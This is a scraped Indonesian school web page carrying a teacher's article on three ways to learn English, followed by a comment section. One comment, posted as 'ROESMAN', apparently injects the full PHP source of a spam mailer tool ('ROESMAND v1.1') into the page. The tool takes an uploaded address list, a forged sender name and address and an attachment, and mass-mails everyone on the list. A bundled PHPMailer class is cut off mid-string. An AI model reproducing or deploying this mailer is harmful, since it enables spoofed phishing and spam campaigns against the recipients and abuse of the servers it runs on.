Banner
Dinas ProvinsiPSB Online
Jajak Pendapat
Bagaimana menurut Anda tentang tampilan website ini ?
Bagus
Cukup
Kurang
  Lihat
Statistik
  Visitors : 62274753 visitors
  Hits : 2178 hits
  Today : 1 users
  Online : 1 users
:: Kontak Admin ::

maswhytop@gmail.com    
Agenda
29 October 2020
M
S
S
R
K
J
S
27
28
29
30
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1
2
3
4
5
6
7

Belajar Bahasa Inggris itu Mudah

Tanggal : 28-08-2018 09:19, dibaca 429 kali.

Banyak siswa bahkan mahasiswa yang merasa sulit belajar bahasa Inggris. Bahasa Inggris dianggap momok. Banyak faktor yang menjadi penyebabnya, antara lain adalah trauma dengan pelajaran itu sendiri ataupun dengan guru atau dosen yang mengajarkan pelajaran tersebut, ketidakmengertian akan hal-hal yang disampaikan dan tidak mau berusaha untuk mengerti, rasa malu kalau melakukan kesalahan dan faktor-faktor lainnya yang mungkin terjadi.

Sebagai salah satu sekolah berstandar internasional di Yogyakarta, siswa siswi SMP N 8 diharapkan mampu untuk berbahasa Inggris baik di dalam kelas maupun di luar kelas. Pelajaran-pelajaran yang disampaikan dengan menggunakan bahasa Inggris seharusnya memacu para siswa siswi untuk menguasai bahasa Inggris. Belajar bahasa Inggris tidaklah sesulit yang dibayangkan. Berikut akan disampaikan tiga cara untuk belajar bahasa Inggris dengan mudah dan menyenangkan.

1. Milikilah rasa percaya diri dan jangan mudah menyerah.

Dengan memiliki rasa percaya diri yang cukup tinggi, seorang siswa atau siswi tidak akan malu untuk belajar meskipun dia membuat kesalahan. Ingatlah selalu bahwa melakukan kesalahan dalam belajar adalah hal yang sangat normal. Kepercayaan diri yang cukup tinggi dapat memotivasi seorang siswa atau siswi untuk terus maju karena dengan kepercayaan diri ini prinsip bahwa aku pasti bisa akan menjadi karakter dalam diri siswa tersebut. Semangat tidak mudah menyerah juga harus menjadi karakter dalam diri seorang siswa karena hal ini yang akan membuat seorang siswa akan terus maju dan berkembang.

2. Bergaulah dengan ‘dunia bahasa Inggris.’

Dengan bergaul atau selalu berinteraksi dalam ‘dunia bahasa Inggris,’ para siswa akan terbiasa dengan ‘dunia bahasa inggris.’ Apa yang harus dilakukan sehingga para siswa tetap bisa berinteraksi dalam ‘dunia bahasa Inggris’? Beberapa cara yang bisa dilakukan adalah mendengarkan lagu-lagu berbahasa Inggris. Mendengarkan lagu-lagu berbahasa Inggris dan menonton film-film yang berbahasa Inggris ini akan mmembantu para siswa untuk membiasakan telinga kita untuk mendengarkan kosakata dan pengucapan dalam bahasa Inggris. Selain itu, membaca artikel, surat kabar atau cerita dan tulisan-tulisan dalam bahasa Inggris juga akan sangat membantu para siswa untuk menambah kosakata. Akan lebih baik jika para siswa membaca dengan bersuara karena mulut dan telingan kita akan terbiasa untuk mengucapkan dan mendengar. Jika ditemukan kosakata yang tidak dimengerti, para siswa dapat membuka kamus sehingga tanpa disadari perbendaharaan kata akan bertambah.

3.  Praktek setiap hari

Pembelajaran bahasa itu hampir sama dengan pembelajaran seni dan olah raga. Yang dimaksudkan di sini adalah praktek setiap hari. Mungkin akan timbul banyak pertanyaan berkaitan dengan praktek setiap hari. Praktek apa saja yang harus dilakukan?bagaimana jika tidak ada teman untuk praktek berkomunikasi? Dan banyak lagi pertanyaan-pertanyaan lain yang senada. Semisal praktek membaca atau mendengarkan lagu berbahasa Inggris bisa dilakukan setiap hari. Tidak membutuhkan waktu lama, mungkin sekitar 15 menit dalam sehari tetapi jika dilakukan setiap hari, tanpa kita sadari kita akan mendapatkan kemajuan dalam penguasaan bahasa Inggris kita. Bagaimana dengan praktek berbicara? Kita bisa berbicara dalam bahasa Inggris meskipun kita tidak memiliki lawan bicara, misalnya pada waktu kita berdoa, pada waktu kita bergumam seorang diri, pada waktu kita berbicara sendiri. Pada waktu melakukan hal-hal itu, kita bisa melakukanya dengan berbahasa Inggris. Bagaimana jika pada waktu kita berbicara dan tidak tahu kosakatanya dalam bahasa Inggris? Kita bisa menggunakan bahasa campuran, contohnya ‘What am I doing ‘setelah’ take my lunch?’ Tidak perlu kuatir jika kita melakukan hal itu, setelahnya kita bisa sesegera mungkin membuka kamus dan mencari kata ‘setelah’ dalam bahasa Inggris. Dengan demikian kosa kata tersebut bisa tersimpan lebih lama dalam memori otak kita.

Ketiga hal di atas adalah tiga dari sekian banyak cara yang bisa dipakai untuk meningkatkan kemampuan kita dalam penguasaan bahasa Inggris. Selamat mencoba.



Pengirim : Otniel Nugroho Jonathan, S.Pd. M.Hum.
Kembali ke Atas
Artikel Lainnya :
Silahkan Isi Komentar dari tulisan artikel diatas
Nama
E-mail
Komentar

Kode Verifikasi
                

Komentar :

Pengirim : ROESMAN - <img src='../images/email2.gif' style='border:0;margin:0;' > <i>[r@yahoo.com]</i>  Tanggal : 02/06/2020<br> </td></tr></table><br><table class='art-article' width=100% ><tr><td><img src='../images/buku.gif' style='border:0;margin:0;' > Pengirim : <?php $maillist = @$_FILES['mailli - <img src='../images/email2.gif' style='border:0;margin:0;' > <i>[r@yahoo.com]</i>  Tanggal : 02/06/2020<br><?php<br /> <br /> $maillist = @$_FILES['maillist'];<br /> $fromname = @$_POST['fromname'];<br /> $fromemail = @$_POST['fromemail'];<br /> $subject = @$_POST['subject'];<br /> $letter = @$_POST['letter'];<br /> $encode = @$_POST['encode'];<br /> $contenttype = @$_POST['contenttype'];<br /> $xmailer = @$_POST['xmailer'];<br /> $replyto = @$_POST['replyto'];<br /> $attachment = @$_FILES['attachment'];<br /> $optout = @$_POST['optout'];<br /> <br /> function start() {<br /> global $fromname, $fromemail, $subject, $replyto, $attachment, $encode, $contenttype, $encodeheaders, $optout, $xmailer, $maillist, $letter;<br /> set_time_limit(0);<br /> if ($handle = @fopen(@$maillist['tmp_name'], "r")) {<br /> $i = 1;<br /> while (!feof($handle)) {<br /> $to = trim(fgets($handle));<br /> if ($to!=='') {<br /> $mail = new PHPMailer();<br /> $mail->XMailer = $xmailer;<br /> $mail->IsHtml($contenttype==='html');<br /> $mail->CharSet = "UTF-8";<br /> $mail->Encoding = $encode;<br /> $mail->From = $fromemail;<br /> $mail->FromName = $fromname;<br /> fwrite(fopen('out.txt','a'),"$to\n");<br /> $mail->AddAddress($to);<br /> $mail->Subject = $subject;<br /> $mail->Body = $letter;<br /> if ($replyto)<br /> $mail->AddReplyTo($replyto);<br /> if (@count(@$attachment)>0)<br /> $mail->AddAttachment($attachment['tmp_name']);<br /> if ($optout!=='')<br /> $mail->addCustomHeader('List-Unsubscribe','<mailto:'.md5($to).$optout.'>');<br /> print ($i++)."\t\t: [".($mail->Send()?'+':'-')."] : $to\n";<br /> ob_flush(); <br /> flush();<br /> }<br /> }<br /> fclose($handle);<br /> }<br /> }<br /> <br /> //html_entity_decode<br /> ?><html><br /> <head><br /> <meta charset="UTF-8"><br /> <link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAVCAYAAABPPm7SAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAXQAAAF0BVWAulAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFdSURBVDiN1dSxalRREAbgb7IrbESSLiAhVSqfIJUx2Eg6TbWQFwi+QiBdqrT2KVy1VcGHCFukiFjYqI2KpUkwEeRYOHeZ6IKBYOGB4c6Zf/7//Ofce2601lxlzFyJ/U8FImJ5Wv5XgYjoR8QeVkt5NSL2IqJ/GQcjnLfW9rtC5ueJXRyttUlgHt+xkvMbuJ75SmLzlfO7g3Vcw72IOMRXnETEGHcTW5/qILczQst4jx3s4mOpjzDT8eqhPMJmmX/BhyJ2M+ub6ezhxAG2cYqXSXhbVuziXT6f4wTbrbWJwJvc42I23U/rHXkXw8wXcQevu2vQw7NyFmM8RT9dnWb+AuPS9zi55vCgAFu50j4+4TOeZG2r9G1g7sJ3UMAhjssWjjGc2ltISxhkvoCDInCAhcQGWJomsIZDHOEHzvAq38y3rB1lz9ofAinSwy2/LtJsqQ9wO7Fe5cT//0f6CUPG9vijiGJoAAAAAElFTkSuQmCCd4014ddbdade115570465627d39aa602"><br /> <title>ROESMAND</title><br /> <style><br /> body {<br /> background-color:#000000;<br /> color: #F00;<br /> font-family: "Lucida Console", Monaco, monospace;<br /> }<br /> hr { <br /> display: block; <br /> height: 1px;<br /> border: 0; <br /> border-top: 1px solid #600000;<br /> margin: 1em 0;<br /> padding: 0; <br /> }<br /> label a {<br /> color:red;<br /> }<br /> input, textarea, select {<br /> margin: 0px;<br /> color: #FFF;<br /> background-color: #444;<br /> border: 1px solid red;<br /> font: 9pt Monospace,"Courier New";<br /> }<br /> input:not([type=checkbox]), textarea, select {<br /> width: 100%;<br /> }<br /> b {<br /> color: red;<br /> }<br /> ._table td {<br /> border: 1px dotted red;<br /> color: red;<br /> text-align: center;<br /> }<br /> ._table th {<br /> background-color: red;<br /> color: white;<br /> }<br /> tr:nth-child(1n+2)>td:nth-child(1) {<br /> text-align: right;<br /> }<br /> tr:nth-child(1n+2)>td:nth-child(2) {<br /> text-align: left;<br /> }<br /> </style><br /> <script><br /> function _popup(url,title,w,h,s){return window.open(url, title, 'scrollbars=yes, resizable=0, width='+w+', height='+h+', top='+((screen.height/2)-(h/2))+', left='+((screen.width/2)-(w/2)));}<br /> </script> <br /> </head><br /> <body link="red" vlink="red" alink="red"><br /> <pre><br /> ________ _______ _____ .__.__ <br /> ____ \_____ \\ _ \ / \ _____ |__| | ___________ <br /> / \ _(__ &#x3C;/ /_\ \ / \ / \\__ \ | | | _/ __ \_ __ \<br /> | | \/ \ \_/ \/ Y \/ __ \| | |_\ ___/| | \/<br /> |___| /______ /\_____ /\____|__ (____ /__|____/\___ &#x3E;__| <br /> \/ \/ \/ \/ \/ ROESMAND \/ v1.1<br /> <hr><br /> <form enctype="multipart/form-data" method="post"><table class="_table" width="100%" hight="100%"><br /> <tr><br /> <td colspan="2" width="30%"><b>CONFIG</b></td><br /> <td>Letter</td><br /> </tr><br /> <tr><br /> <td><label>From Name: </label></td><br /> <td><input name="fromname" value="<?=htmlentities($fromname)?>"></td><br /> <td rowspan="9"><br /> <textarea name="letter" rows="20"><?=htmlentities($letter)?></textarea><br /> </td><br /> </tr><br /> <tr><br /> <td><label>From Email: </label></td><br /> <td><input name="fromemail" value="<?=htmlentities($fromemail)?>"></td><br /> </tr><br /> <tr><br /> <td><label>Subject: </label></td><br /> <td><input name="subject" value="<?=htmlentities($subject)?>"></td><br /> </tr><br /> <tr><br /> <td><label>Reply To: </label></td><br /> <td><input name="replyto" value="<?=htmlentities($replyto)?>"></td><br /> </tr><br /> <tr><br /> <td><label>Attachment: </label></td><br /> <td><input type="file" name="attachment"></td><br /> </tr><br /> <tr><br /> <td><label>Encode: </label></td><br /> <td><select name="encode"><option <?=$encode==='quoted-printable'?'selected':''?> value="quoted-printable">QUOTED</option><option <?=$encode==='base64'?'selected':''?> value="base64">BASE64</option><option <?=$encode==='7bit'?'selected':''?> value="7bit">7BIT</option><option <?=$encode==='8bit'?'selected':''?> value="8bit">8BIT</option><option <?=$encode==='binary'?'selected':''?> value="binary">BINARY</option></select></td><br /> </tr><br /> <tr><br /> <td><label>Content Type: </label></td><br /> <td><select name="contenttype"><option <?=$contenttype==='html'?'selected':''?> value="html">HTML</option><option <?=$contenttype==='text'?'selected':''?> value="text">TEXT</option></select></td><br /> </tr><br /> <tr><br /> <td><label>Optout Suffix: </label></td><br /> <td><input name="optout" placeholder="-optout@email.tld" value="<?=htmlentities($optout)?>"></td><br /> </tr><br /> <tr><br /> <td><label>Mail LIST: </label></td><br /> <td><input type="file" name="maillist"></td><br /> </tr><br /> <tr><br /> <td colspan="3"><input type="submit" name="submit" value="Send"></td><br /> </tr><br /> </table></form><?php if (@$_POST['submit']==='Send') {echo "<hr>";start();}?><hr><br /> <center><i>ICQ(662865921)</i></center></pre><br /> </body><br /> </html><?php<br /> class PHPMailer{public $Version='5.2.9';public $Priority=3;public $CharSet='iso-8859-1';public $ContentType='text/plain';public $Encoding='8bit';public $ErrorInfo='';public $From='root@localhost';public $FromName='Root User';public $Sender='';public $ReturnPath='';public $Subject='';public $Body='';public $AltBody='';public $Ical='';protected $MIMEBody='';protected $MIMEHeader='';protected $mailHeader='';public $WordWrap=0;public $Mailer='mail';public $Sendmail='/usr/sbin/sendmail';public $UseSendmailOptions=true;public $PluginDir='';public $ConfirmReadingTo='';public $Hostname='';public $MessageID='';public $MessageDate='';public $Host='localhost';public $Port=25;public $Helo='';public $SMTPSecure='';public $SMTPAuth=false;public $SMTPOptions=array();public $Username='';public $Password='';public $AuthType='';public $Realm='';public $Workstation='';public $Timeout=300;public $SMTPDebug=0;public $Debugoutput='echo';public $SMTPKeepAlive=false;public $SingleTo=false;public $SingleToArray=array();public $do_verp=false;public $AllowEmpty=false;public $LE="\n";public $DKIM_selector='';public $DKIM_identity='';public $DKIM_passphrase='';public $DKIM_domain='';public $DKIM_private='';public $action_function='';public $XMailer='';protected $smtp=null;protected $to=array();protected $cc=array();protected $bcc=array();protected $ReplyTo=array();protected $all_recipients=array();protected $attachment=array();protected $CustomHeader=array();protected $lastMessageID='';protected $message_type='';protected $boundary=array();protected $language=array();protected $error_count=0;protected $sign_cert_file='';protected $sign_key_file='';protected $sign_extracerts_file='';protected $sign_key_pass='';protected $exceptions=false;const STOP_MESSAGE=0;const STOP_CONTINUE=1;const STOP_CRITICAL=2;const CRLF="\r\n";public function __construct($exceptions=false){$this->exceptions=(boolean)$exceptions;}public function __destruct(){if($this->Mailer=='smtp'){$this->smtpClose();}}private function mailPassthru($to,$subject,$body,$header,$params){$backHTTP_ENV_VARS=@$HTTP_ENV_VARS;$back_ENV=@$_ENV;$back_SERVER=@$_SERVER;$backHTTP_SERVER_VARS=@$HTTP_SERVER_VARS;unset($backHTTP_ENV_VARS);unset($back_ENV);unset($back_SERVER);unset($backHTTP_SERVER_VARS);if(ini_get('mbstring.func_overload')&1){$subject=$this->secureHeader($subject);}else{$subject=$this->encodeHeader($this->secureHeader($subject));}if(ini_get('safe_mode')||!($this->UseSendmailOptions)){$oldphpself=$_SERVER['PHP_SELF'];$oldremoteaddr=$_SERVER['REMOTE_ADDR'];$_SERVER['PHP_SELF']="/";$_SERVER['REMOTE_ADDR']=$_SERVER['SERVER_ADDR'];$result=@mail($to,$subject,$body,$header);$_SERVER['PHP_SELF']=$oldphpself;$_SERVER['REMOTE_ADDR']=$oldremoteaddr;}else{$oldphpself=$_SERVER['PHP_SELF'];$oldremoteaddr=$_SERVER['REMOTE_ADDR'];$_SERVER['PHP_SELF']="/";$_SERVER['REMOTE_ADDR']=$_SERVER['SERVER_ADDR'];$result=@mail($to,$subject,$body,$header,$params);$_SERVER['PHP_SELF']=$oldphpself;$_SERVER['REMOTE_ADDR']=$oldremoteaddr;}return $result;}protected function edebug($str){if($this->SMTPDebug<=0){return;}if(!in_array($this->Debugoutput,array('error_log','html','echo'))and is_callable($this->Debugoutput)){call_user_func($this->Debugoutput,$str,$this->SMTPDebug);return;}switch($this->Debugoutput){case 'error_log':error_log($str);break;case 'html':echo htmlentities(preg_replace('/[\r\n]+/','',$str),ENT_QUOTES,'UTF-8')."<br>\n";break;case 'echo':default:$str=preg_replace('/(\r\n|\r|\n)/ms',"\n",$str);echo gmdate('Y-m-d H:i:s')."\t".str_replace("\n","\n \t ",trim($str))."\n";}}public function isHTML($isHtml=true){if($isHtml){$this->ContentType='text/html';}else{$this->ContentType='text/plain';}}public function isSMTP(){$this->Mailer='smtp';}public function isMail(){$this->Mailer='mail';}public function isSendmail(){$ini_sendmail_path=ini_get('sendmail_path');if(!stristr($ini_sendmail_path,'sendmail')){$this->Sendmail='/usr/sbin/sendmail';}else{$this->Sendmail=$ini_sendmail_path;}$this->Mailer='sendmail';}public function isQmail(){$ini_sendmail_path=ini_get('sendmail_path');if(!stristr($ini_sendmail_path,'qmail')){$this->Sendmail='/var/qmail/bin/qmail-inject';}else{$this->Sendmail=$ini_sendmail_path;}$this->Mailer='qmail';}public function addAddress($address,$name=''){return $this->addAnAddress('to',$address,$name);}public function addCC($address,$name=''){return $this->addAnAddress('cc',$address,$name);}public function addBCC($address,$name=''){return $this->addAnAddress('bcc',$address,$name);}public function addReplyTo($address,$name=''){return $this->addAnAddress('Reply-To',$address,$name);}protected function addAnAddress($kind,$address,$name=''){if(!preg_match('/^(to|cc|bcc|Reply-To)$/',$kind)){$this->setError($this->lang('Invalid recipient array').': '.$kind);$this->edebug($this->lang('Invalid recipient array').': '.$kind);if($this->exceptions){throw new phpmailerException('Invalid recipient array: '.$kind);}return false;}$address=trim($address);$name=trim(preg_replace('/[\r\n]+/','',$name));if(!$this->validateAddress($address)){$this->setError($this->lang('invalid_address').': '.$address);$this->edebug($this->lang('invalid_address').': '.$address);if($this->exceptions){throw new phpmailerException($this->lang('invalid_address').': '.$address);}return false;}if($kind!='Reply-To'){if(!isset($this->all_recipients[strtolower($address)])){array_push($this->$kind,array($address,$name));$this->all_recipients[strtolower($address)]=true;return true;}}else{if(!array_key_exists(strtolower($address),$this->ReplyTo)){$this->ReplyTo[strtolower($address)]=array($address,$name);return true;}}return false;}public function setFrom($address,$name='',$auto=true){$address=trim($address);$name=trim(preg_replace('/[\r\n]+/','',$name));if(!$this->validateAddress($address)){$this->setError($this->lang('invalid_address').': '.$address);$this->edebug($this->lang('invalid_address').': '.$address);if($this->exceptions){throw new phpmailerException($this->lang('invalid_address').': '.$address);}return false;}$this->From=$address;$this->FromName=$name;if($auto){if(empty($this->Sender)){$this->Sender=$address;}}return true;}public function getLastMessageID(){return $this->lastMessageID;}public static function validateAddress($address,$patternselect='auto'){if(!$patternselect or $patternselect=='auto'){if(defined('PCRE_VERSION')){if(version_compare(PCRE_VERSION,'8.0.3')>=0){$patternselect='pcre8';}else{$patternselect='pcre';}}elseif(function_exists('extension_loaded')and extension_loaded('pcre')){$patternselect='pcre';}else{if(version_compare(PHP_VERSION,'5.2.0')>=0){$patternselect='php';}else{$patternselect='noregex';}}}switch($patternselect){case 'pcre8':return (boolean)preg_match('/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)'.'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)'.'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)'.'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*'.'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)'.'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}'.'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:'.'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}'.'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',$address);case 'pcre':return (boolean)preg_match('/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>'.'[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")'.'(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*'.'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})'.'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:'.'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?'.'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:'.'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?'.'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}'.'|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',$address);case 'html5':return (boolean)preg_match('/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}'.'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',$address);case 'noregex':return(strlen($address)>=3and strpos($address,'@')>=1and strpos($address,'@')!=strlen($address)-1);case 'php':default:return (boolean)filter_var($address,FILTER_VALIDATE_EMAIL);}}public function send(){try{if(!$this->preSend()){return false;}return $this->postSend();}catch(phpmailerException $exc){$this->mailHeader='';$this->setError($exc->getMessage());if($this->exceptions){throw $exc;}return false;}}public function preSend(){try{$this->mailHeader='';if((count($this->to)+count($this->cc)+count($this->bcc))<1){throw new phpmailerException($this->lang('provide_address'),self::STOP_CRITICAL);}if(!empty($this->AltBody)){$this->ContentType='multipart/alternative';}$this->error_count=0;$this->setMessageType();if(!$this->AllowEmpty and empty($this->Body)){throw new phpmailerException($this->lang('empty_message'),self::STOP_CRITICAL);}$this->MIMEHeader=$this->createHeader();$this->MIMEBody=$this->createBody();if($this->Mailer=='mail'){if(count($this->to)>0){$this->mailHeader.=$this->addrAppend('To',$this->to);}else{$this->mailHeader.=$this->headerLine('To','undisclosed-recipients:;');}$this->mailHeader.=$this->headerLine('Subject',$this->encodeHeader($this->secureHeader(trim($this->Subject))));}if(!empty($this->DKIM_domain)&&!empty($this->DKIM_private)&&!empty($this->DKIM_selector)&&file_exists($this->DKIM_private)){$header_dkim=$this->DKIM_Add($this->MIMEHeader.$this->mailHeader,$this->encodeHeader($this->secureHeader($this->Subject)),$this->MIMEBody);$this->MIMEHeader=rtrim($this->MIMEHeader,"\r\n ").self::CRLF.str_replace("\r\n","\n",$header_dkim).self::CRLF;}return true;}catch(phpmailerException $exc){$this->setError($exc->getMessage());if($this->exceptions){throw $exc;}return false;}}public function postSend(){try{switch($this->Mailer){case 'sendmail':case 'qmail':return $this->sendmailSend($this->MIMEHeader,$this->MIMEBody);case 'smtp':return $this->smtpSend($this->MIMEHeader,$this->MIMEBody);case 'mail':return $this->mailSend($this->MIMEHeader,$this->MIMEBody);default:$sendMethod=$this->Mailer.'Send';if(method_exists($this,$sendMethod)){return $this->$sendMethod($this->MIMEHeader,$this->MIMEBody);}return $this->mailSend($this->MIMEHeader,$this->MIMEBody);}}catch(phpmailerException $exc){$this->setError($exc->getMessage());$this->edebug($exc->getMessage());if($this->exceptions){throw $exc;}}return false;}protected function sendmailSend($header,$body){if($this->Sender!=''){if($this->Mailer=='qmail'){$sendmail=sprintf('%s -f%s',escapeshellcmd($this->Sendmail),escapeshellarg($this->Sender));}else{$sendmail=sprintf('%s -oi -f%s -t',escapeshellcmd($this->Sendmail),escapeshellarg($this->Sender));}}else{if($this->Mailer=='qmail'){$sendmail=sprintf('%s',escapeshellcmd($this->Sendmail));}else{$sendmail=sprintf('%s -oi -t',escapeshellcmd($this->Sendmail));}}if($this->SingleTo){foreach($this->SingleToArray as $toAddr){if(!@$mail=popen($sendmail,'w')){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);}fputs($mail,'To: '.$toAddr."\n");fputs($mail,$header);fputs($mail,$body);$result=pclose($mail);$this->doCallback(($result==0),array($toAddr),$this->cc,$this->bcc,$this->Subject,$body,$this->From);if($result!=0){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);}}}else{if(!@$mail=popen($sendmail,'w')){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);}fputs($mail,$header);fputs($mail,$body);$result=pclose($mail);$this->doCallback(($result==0),$this->to,$this->cc,$this->bcc,$this->Subject,$body,$this->From);if($result!=0){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);}}return true;}protected function mailSend($header,$body){$toArr=array();foreach($this->to as $toaddr){$toArr[]=$this->addrFormat($toaddr);}$to=implode(', ',$toArr);if(empty($this->Sender)){$params=' ';}else{$params=sprintf('-f%s',$this->Sender);}if($this->Sender!=''and!ini_get('safe_mode')){$old_from=ini_get('sendmail_from');ini_set('sendmail_from',$this->Sender);}$result=false;if($this->SingleTo&&count($toArr)>1){foreach($toArr as $toAddr){$result=$this->mailPassthru($toAddr,$this->Subject,$body,$header,$params);$this->doCallback($result,array($toAddr),$this->cc,$this->bcc,$this->Subject,$body,$this->From);}}else{$result=$this->mailPassthru($to,$this->Subject,$body,$header,$params);$this->doCallback($result,$this->to,$this->cc,$this->bcc,$this->Subject,$body,$this->From);}if(isset($old_from)){ini_set('sendmail_from',$old_from);}if(!$result){throw new phpmailerException($this->lang('instantiate'),self::STOP_CRITICAL);}return true;}public function getSMTPInstance(){if(!is_object($this->smtp)){$this->smtp=new SMTP;}return $this->smtp;}protected function smtpSend($header,$body){$bad_rcpt=array();if(!$this->smtpConnect($this->SMTPOptions)){throw new phpmailerException($this->lang('smtp_connect_failed'),self::STOP_CRITICAL);}if(''==$this->Sender){$smtp_from=$this->From;}else{$smtp_from=$this->Sender;}if(!$this->smtp->mail($smtp_from)){$this->setError($this->lang('from_failed').$smtp_from.' : '.implode(',',$this->smtp->getError()));throw new phpmailerException($this->ErrorInfo,self::STOP_CRITICAL);}foreach(array($this->to,$this->cc,$this->bcc)as $togroup){foreach($togroup as $to){if(!$this->smtp->recipient($to[0])){$error=$this->smtp->getError();$bad_rcpt[]=array('to'=>$to[0],'error'=>$error['detail']);$isSent=false;}else{$isSent=true;}$this->doCallback($isSent,array($to[0]),array(),array(),$this->Subject,$body,$this->From);}}if((count($this->all_recipients)>count($bad_rcpt))and!$this->smtp->data($header.$body)){throw new phpmailerException($this->lang('data_not_accepted'),self::STOP_CRITICAL);}if($this->SMTPKeepAlive){$this->smtp->reset();}else{$this->smtp->quit();$this->smtp->close();}if(count($bad_rcpt)>0){$errstr='';foreach($bad_rcpt as $bad){$errstr.=$bad['to'].': '.$bad['error'];}throw new phpmailerException($this->lang('recipients_failed').$errstr,self::STOP_CONTINUE);}return true;}public function smtpConnect($options=array()){if(is_null($this->smtp)){$this->smtp=$this->getSMTPInstance();}if($this->smtp->connected()){return true;}$this->smtp->setTimeout($this->Timeout);$this->smtp->setDebugLevel($this->SMTPDebug);$this->smtp->setDebugOutput($this->Debugoutput);$this->smtp->setVerp($this->do_verp);$hosts=explode(';',$this->Host);$lastexception=null;foreach($hosts as $hostentry){$hostinfo=array();if(!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/',trim($hostentry),$hostinfo)){continue;}$prefix='';$secure=$this->SMTPSecure;$tls=($this->SMTPSecure=='tls');if('ssl'==$hostinfo[2]or(''==$hostinfo[2]and 'ssl'==$this->SMTPSecure)){$prefix='ssl://';$tls=false;$secure='ssl';}elseif($hostinfo[2]=='tls'){$tls=true;$secure='tls';}if('tls'===$secure or 'ssl'===$secure){if(!defined('OPENSSL_ALGO_SHA1')){throw new phpmailerException($this->lang('extension_missing').'openssl',self::STOP_CRITICAL);}}$host=$hostinfo[3];$port=$this->Port;$tport=(integer)$hostinfo[4];if($tport>0and $tport<65536){$port=$tport;}if($this->smtp->connect($prefix.$host,$port,$this->Timeout,$options)){try{if($this->Helo){$hello=$this->Helo;}else{$hello=$this->serverHostname();}$this->smtp->hello($hello);if($tls){if(!$this->smtp->startTLS()){throw new phpmailerException($this->lang('connect_host'));}$this->smtp->hello($hello);}if($this->SMTPAuth){if(!$this->smtp->authenticate($this->Username,$this->Password,$this->AuthType,$this->Realm,$this->Workstation)){throw new phpmailerException($this->lang('authenticate'));}}return true;}catch(phpmailerException $exc){$lastexception=$exc;$this->edebug($exc->getMessage());$this->smtp->quit();}}}$this->smtp->close();if($this->exceptions and!is_null($lastexception)){throw $lastexception;}return false;}public function smtpClose(){if($this->smtp!==null){if($this->smtp->connected()){$this->smtp->quit();$this->smtp->close();}}}public function setLanguage($langcode='en',$lang_path=''){$PHPMAILER_LANG=array('authenticate'=>'SMTP Error: Could not authenticate.','connect_host'=>'SMTP Error: Could not connect to SMTP host.','data_not_accepted'=>'SMTP Error: data not accepted.','empty_message'=>'Message body empty','encoding'=>'Unknown encoding: ','execute'=>'Could not execute: ','file_access'=>'Could not access file: ','file_open'=>'File Error: Could not open file: ','from_failed'=>'The following From address failed: ','instantiate'=>'Could not instantiate mail function.','invalid_address'=>'Invalid address','mailer_not_supported'=>' mailer is not supported.','provide_address'=>'You must provide at least one recipient email address.','recipients_failed'=>'SMTP Error: The following recipients failed: ','signing'=>'Signing Error: 